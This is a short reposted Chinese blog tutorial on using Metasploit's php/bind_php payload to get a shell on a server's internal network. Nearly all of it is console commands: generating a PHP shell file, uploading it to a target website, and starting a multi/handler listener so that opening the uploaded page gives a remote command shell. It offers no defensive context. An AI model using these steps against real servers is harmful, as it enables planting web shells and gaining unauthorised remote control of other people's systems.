php结合msf反弹内网shell

最新推荐文章于 2024-05-30 22:07:23 发布

aiquan9342

最新推荐文章于 2024-05-30 22:07:23 发布

阅读量645

点赞数

文章标签： php shell 数据库

原文链接：http://www.cnblogs.com/xishaonian/p/7192497.html

版权

感谢：

perl6大佬分享的姿势。

MSF:

msf > use payload/php/bind_php
msf exploit(handler) > set PAYLOAD payload/php/bind_php
msf exploit(handler) > set RHOST 目标内网ip
msf payload(bind_php) > generate -f f:/xishaonian.php -t raw //之后就会在f盘生成xishaonian.php脚本一般都是需要修改一下，没有php标签就加个php标签之类的。

然后将xishaonian.php传到web上。
然后再次运行msf

use payload/php/bind_php
msf payload(bind_php) > set RHOST 目标外网ip
msf payload(bind_php) > use exploit/multi/handler
msf exploit(handler) > set payload php/bind_php
msf exploit(handler) > run

访问web上的xishaonian.php,就可以反弹到cmdshell了。

转载于:https://www.cnblogs.com/xishaonian/p/7192497.html